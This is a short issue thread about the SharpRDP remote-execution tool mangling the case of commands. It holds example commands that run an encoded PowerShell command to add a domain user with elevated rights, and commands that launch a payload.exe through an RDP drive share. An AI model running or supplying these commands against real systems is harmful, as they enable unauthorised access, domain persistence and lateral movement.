Does not preserve case on commands

[markoverholser]

I've been experimenting with this in my lab, and among some of the issues that I've encountered (not properly sending =, ', or ", for example) I have tried to switch to having it execute Powershell with Base64 encoded commands. However, since it doesn't preserve case of the commands, the information in the encoded command is garbled.

For example, if I try the following: sharprdp.exe computername=<targetcomputer> exec=cmd command="powershell -enc c3RhcnQtcHJvY2VzcyAiY21kIiAtdmVyYiBydW5hcyAtYXJndW1lbnRsaXN0ICIvayIsIm5ldCB1c2VyIGJsdXJmYSBibHVyZmEgL2RvbWFpbiAvYWRkIg=="

It tries to run powershell -enc c3rhcnqtchjvy2vzcyaiy21kiiatdmvyyibydw5hcyatyxjndw1lbnrsaxn0icivayisim5ldcb1c2vyigjsdxjmysbibhvyzmegl2rvbwfpbiavywrkig==
but the ASCII equivalent of that base64 string is szárz.r.ïËkós&¢Ëmd.&.vkòÊ&òw.as&.Ë.çw enzìk.ô.ȯk(¬.neuÆõskò..ìw.æÊÆân.òÎg .jïo.én&¯Ë ä. whereas the ASCII equivalent of the original command is start-process "cmd" -verb runas -argumentlist "/k","net user blurfa blurfa /domain /add"

I'll add preserving character cases to my list of to do's.

same -- cant execute more that calc or simple powershell - got broken syntax,maybe keycaps? - even if use pull request of @DiedB - there seems no another symbols " ' = ) (
Was try with C$ in disk name, with small C - same. Maybe some syntax errors on slashes? or it should be shared folder everywhere.
also use a #11 - @JamesCooteUK
James, maybe you can help with that case.
Was run your fork SharpRDP.exe computername=domain.target command=\"\\\\tsclient\\C\\payload.exe\" username=domain\\user
and main branch SharpRDP.exe computername=domain.target command="\\tsclient\C\Temp\file.exe" username=domain\user password=password connectdrive=true
no result. i got rdp connection (user logout) , but not the payload execution, or simple putty..

I added upper case to the project
